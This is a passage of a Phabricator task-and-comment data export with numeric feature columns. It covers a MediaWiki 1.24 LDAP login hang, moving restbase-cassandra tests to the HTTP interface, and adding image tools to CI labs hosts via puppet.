",Medium,50.0,1418178469,1470916338.0,PHID-USER-woats4vil7ttyq2vrsqb,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-xtx2wl4xk7maivar7own,task_description,resolved,True,c3,1,False,False,False,-30,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,21.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,10.5,0.0,0.0,3.5,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,4.357097186700767,0.7296462063086104,"After successful upgrade from MediaWiki 1.24.6, logging in as a new MediaWiki user using LDAP credentials hangs on login.

PHP Error logs shows the following:
``CODE``
Workaround: Adding member through MySQL user table manually allows user to then login cleanly using LDAP User Credentials 

Environment:
------------
CentOS release 6.5 (Final)
Linux www 2.6.32-431.23.3.el6.x86_64 #1 SMP Thu Jul 31 17:20:51 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
MediaWiki	1.24.0
PHP	5.5.15 (apache2handler)
MySQL	5.1.73

Extensions:
------------
ImageMap	–
ParserFunctions	1.6.0
SyntaxHighlight	1.0.8.11-wmf1
LDAP Authentication Plugin	1.2e
Lockdown	–		
WikiEditor	0.4.0
"
709911,Login hangs for new LDAP users in Mediawiki 1.24.0,"No reply to my last comment, hence resolving.",,,1470916338,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,3,True,,,58,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.8,1.0,"No reply to my last comment, hence resolving."
703703,Login hangs for new LDAP users in Mediawiki 1.24.0,">>! In T78108#1126532, @saper wrote:
> Initial reports confirm that applying 4dc1f5a1759bdf392504f4901748175b46f59a7e ([gerrit change Ib5f94b52c07e7dba89328b98fb43c86db95ee09f](https://gerrit.wikimedia.org/r/#/c/163640/)) seems to fix the issue.

As that patch is included in supported versions 1.26, 1.27, should this task be closed as resolved?",,,1470072126,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,3,True,,,56,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9166666666666666,"QUOTE
QUOTE

As that patch is included in supported versions 1.26, 1.27, should this task be closed as resolved?"
427960,Login hangs for new LDAP users in Mediawiki 1.24.0,"Initial reports confirm that applying 4dc1f5a1759bdf392504f4901748175b46f59a7e ([gerrit change Ib5f94b52c07e7dba89328b98fb43c86db95ee09f](https://gerrit.wikimedia.org/r/#/c/163640/)) seems to fix the issue.

`LdapAutoAuthentication::Authenticate` tries to add [the user into database](https://phabricator.wikimedia.org/diffusion/ELDA/browse/master/LdapAutoAuthentication.php;942548516f56da3c61de3de689c097830c1a8b72$90) and loaded defaults seem not to work.",,,1426626014,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.4,0.8571428571428571,"Initial reports confirm that applying 4dc1f5a1759bdf392504f4901748175b46f59a7e ([gerrit change Ib5f94b52c07e7dba89328b98fb43c86db95ee09f](URL seems to fix the issue.

CODE tries to add [the user into database](URL and loaded defaults seem not to work."
427908,Login hangs for new LDAP users in Mediawiki 1.24.0,Might be related to T73421,,,1426621218,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,Might be related to T73421
427886,Login hangs for new LDAP users in Mediawiki 1.24.0,"Another user reporting this on IRC on 1.24.1 today:

    [Tue Mar 17 18:08:36 2015] [error] [client A.B.C.D] PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/wiki/includes/User.php on line 3493, referer: https://example.org/index.php?title=Special:UserLogin&returnto=Main+Page&returntoquery=action%3Dsubmitlogin%26type%3

This is:

    'user_password' => $this->mPassword->toString()",,,1426618957,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,7.0,3.5789473684210527,0.7368421052631579,"Another user reporting this on IRC on 1.24.1 today:

    [Tue Mar 17 18:08:36 2015] [error] [client A.B.C.D] PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/wiki/includes/User.php on line 3493, referer: URL

This is:

    'user_password' => $this->mPassword->toString()"
427885,Login hangs for new LDAP users in Mediawiki 1.24.0,"Another user reporting this on IRC on 1.24.1 today:

 [Tue Mar 17 18:08:36 2015] [error] [client A.B.C.D] PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/wiki/includes/User.php on line 3493, referer: https://example.org/index.php?title=Special:UserLogin&returnto=Main+Page&returntoquery=action%3Dsubmitlogin%26type%3

This is:

 'user_password' => $this->mPassword->toString()",,,1426618937,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-xtx2wl4xk7maivar7own,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,7.0,3.5,0.7368421052631579,"Another user reporting this on IRC on 1.24.1 today:

 [Tue Mar 17 18:08:36 2015] [error] [client A.B.C.D] PHP Fatal error:  Call to a member function toString() on a non-object in /var/www/html/wiki/includes/User.php on line 3493, referer: URL

This is:

 'user_password' => $this->mPassword->toString()"
76734,Test against the HTTP interface,Our current restbase-cassandra tests exercise db directly & bypass the HTTP interface. We should switch the tests to use the HTTP (style) interface instead.,Medium,50.0,1417712533,1476314584.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-gpb2ynmxbgmy4ld2555w,False,PHID-TASK-hfqu37heuxivgzvxhvfk,task_description,resolved,True,c3,1,True,False,False,-30,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,3.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.433333333333334,0.8,Our current restbase-cassandra tests exercise db directly & bypass the HTTP interface. We should switch the tests to use the HTTP (style) interface instead.
743573,Test against the HTTP interface,Just a weee bit high close latency in this case.,,,1476314831,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,3,True,,,66,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,Just a weee bit high close latency in this case.
743569,Test against the HTTP interface,"Okey, thus was implemented looooooong time ago, resolving",,,1476314584,,PHID-USER-gpb2ynmxbgmy4ld2555w,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,3,True,,,66,True,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.9,"Okey, thus was implemented looooooong time ago, resolving"
343126,Test against the HTTP interface,"All the tests except [[ https://github.com/wikimedia/restbase-cassandra/pull/31/files#diff-910eb6f57886ca16c136101fb1699231R548 | ""simple delete query""  ]] now use HTTP interface.",,,1418771311,,PHID-USER-4qh62vhvyv2pnehwzfak,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,1,False,,,-29,True,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0952380952380953,0.8571428571428571,"All the tests except [[ URL | ""simple delete query""  ]] now use HTTP interface."
342513,Test against the HTTP interface,Implemented here https://github.com/wikimedia/restbase-cassandra/pull/31,,,1418672674,,PHID-USER-4qh62vhvyv2pnehwzfak,False,,,PHID-TASK-hfqu37heuxivgzvxhvfk,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Implemented here URL
76661,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"I tried to move the parsoidsvc-php-parsertests tests over to UbuntuTrusty (node 0.10) in https://gerrit.wikimedia.org/r/174031

This is the result: https://integration.wikimedia.org/ci/job/parsoidsvc-php-parsertests/3043/console

The PHP parser tests failed because various image-processing tools weren't installed on the contintLabsSlave host.",Medium,50.0,1417639548,1417804721.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-elgzefmvhzif5z5gjrg2,task_description,resolved,True,c3,1,False,False,True,-31,True,0.0,0.0,0.0,2.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,13.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,15.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,13.0,11.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.446808510638298,0.851063829787234,"I tried to move the parsoidsvc-php-parsertests tests over to UbuntuTrusty (node 0.10) in GERRIT_URL

This is the result: URL

The PHP parser tests failed because various image-processing tools weren't installed on the contintLabsSlave host."
336886,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"Cool, thanks!  I created T76881 to remind me to migrate the last jobs over to node 0.10 now.",,,1417806865,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,18.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,14.0,5.0,5.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,3.409090909090909,0.9090909090909091,"Cool, thanks!  I created T76881 to remind me to migrate the last jobs over to node 0.10 now."
336870,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"I think the issue (missing pnmtojpeg on labs slave) is fixed.

The parsoid parsertest job can be migrated to Precise labs instance with `contintLabsSlave && UbuntuPrecise`  (UbuntuTrusty slaves have Zend PHP 5.5.9).",,,1417804721,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,8.0,16.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.105263157894737,0.8947368421052632,"I think the issue (missing pnmtojpeg on labs slave) is fixed.

The parsoid parsertest job can be migrated to Precise labs instance with CODE  (UbuntuTrusty slaves have Zend PHP 5.5.9)."
336756,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"Change 177770 merged by Alexandros Kosiaris:
contint: mw multimedia packages on labs slaves

[[https://gerrit.wikimedia.org/r/177770]]",,,1417788460,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.363636363636363,0.8636363636363636,"Change 177770 merged by Alexandros Kosiaris:
contint: mw multimedia packages on labs slaves

[[GERRIT_URL]]"
336701,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"https://gerrit.wikimedia.org/r/177770 has been applied on the contint puppetmaster.

So you can get the job to run on Precise labs slaves using: `contintLabsSlave && UbuntuPrecise`",,,1417777590,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,16.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.08,0.92,"GERRIT_URL has been applied on the contint puppetmaster.

So you can get the job to run on Precise labs slaves using: CODE"
336689,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"Change 177770 had a related patch set uploaded (by Hashar):
contint: mediawik::multimedia on labs slaves

[[https://gerrit.wikimedia.org/r/177770]]

#patch-for-review",,,1417776423,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.9375,0.84375,"Change 177770 had a related patch set uploaded (by Hashar):
contint: mediawik::multimedia on labs slaves

[[GERRIT_URL]]

#patch-for-review"
336687,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"The labels `hasContintPackages` and `hasSlaveScripts` are only applied on the production slaves which are both Precise.  They are legacy labels which I should most probably cleanup. As a summary:

* `hasSlaveScripts && UbuntuPrecise` matches the production slaves (Precise).
* `contintLabsSlave && UbuntuTrusty` matches the labs Trusty slaves.
* `hasSlaveScripts && UbuntuTrusty` indeed does not match any host and would cause the job to be stuck.

The jobs using Zend php should use UbuntuPrecise which provides PHP 5.3.x.



I have found out that ""pnmtojpeg"" is only available on the production slaves. The utility is provided by the puppet chain:

* Package `netpbm` 
* `mediawiki::packages::multimedia`
* `mediawiki::multimedia`
* `role::mediawiki::imagescaler` or `role::mediawiki::videoscaler`

The contint packages are defined in `contint::packages` which only includes `mediawiki::packages`. So I am going to add  `mediawiki::multimedia` there and that will add `pnmtojpeg` on the contint slaves.",,,1417776190,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,True,,,-30,True,0.5,0.0,0.0,2.5,0.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,7.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,15.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,6.5,4.5,18.0,0.5,2.5,10.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.5,6.0,7.5,0.0,1.5,0.0,2.5,0.0,2.5,0.5,0.0,1.0,0.0,0.5,0.0,3.8164556962025316,0.6392405063291139,"The labels CODE and CODE are only applied on the production slaves which are both Precise.  They are legacy labels which I should most probably cleanup. As a summary:

* CODE matches the production slaves (Precise).
* CODE matches the labs Trusty slaves.
* CODE indeed does not match any host and would cause the job to be stuck.

The jobs using Zend php should use UbuntuPrecise which provides PHP 5.3.x.



I have found out that ""pnmtojpeg"" is only available on the production slaves. The utility is provided by the puppet chain:

* Package CODE 
* CODE
* CODE
* CODE or CODE

The contint packages are defined in CODE which only includes CODE. So I am going to add  CODE there and that will add CODE on the contint slaves."
336077,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"@hashar: nope, see the recheck on patch 11 on https://gerrit.wikimedia.org/r/170455 -- it works when the job was `hasSlaveScripts && UbuntuPrecise` (the original state, and PS4 -- after the recheck) but fails when the job is `contintLabsSlave && UbuntuTrusty` (PS3 of https://gerrit.wikimedia.org/r/174031 -- before the recheck).  When the job was `hasSlaveScripts && UbuntuTrusty` (PS2) the job hung in the `queued` state forever in zuul -- so I guess there's no machine matching that descriptor?

",,,1417647649,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-elgzefmvhzif5z5gjrg2,task_subcomment,,True,c3,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,4.0,15.0,4.0,2.0,14.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,9.0,11.0,1.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,3.580246913580247,0.6296296296296297,"SCREEN_NAME: nope, see the recheck on patch 11 on GERRIT_URL -- it works when the job was CODE (the original state, and PS4 -- after the recheck) but fails when the job is CODE (PS3 of GERRIT_URL -- before the recheck).  When the job was CODE (PS2) the job hung in the CODE state forever in zuul -- so I guess there's no machine matching that descriptor?

"
336076,Install pnmtojpeg and ddjvu on UbuntuTrusty contintLabsSlave hosts.,"@hashar: nope, see the recheck on patch 11 on https://gerrit.wikimedia.org/r/170455 -- it works when the job was `hasSlaveScripts && UbuntuPrecise` (the original state, and PS4) but fails when the job is `contintLabsSlave && UbuntuTrusty` (PS3 of https://gerrit.wikimedia.org/r/174031).  When the job was `hasSlaveScripts && UbuntuTrusty` (PS2) the job hung in the `queued` state forever in zuul -- so I guess there's no machine matching that descriptor?

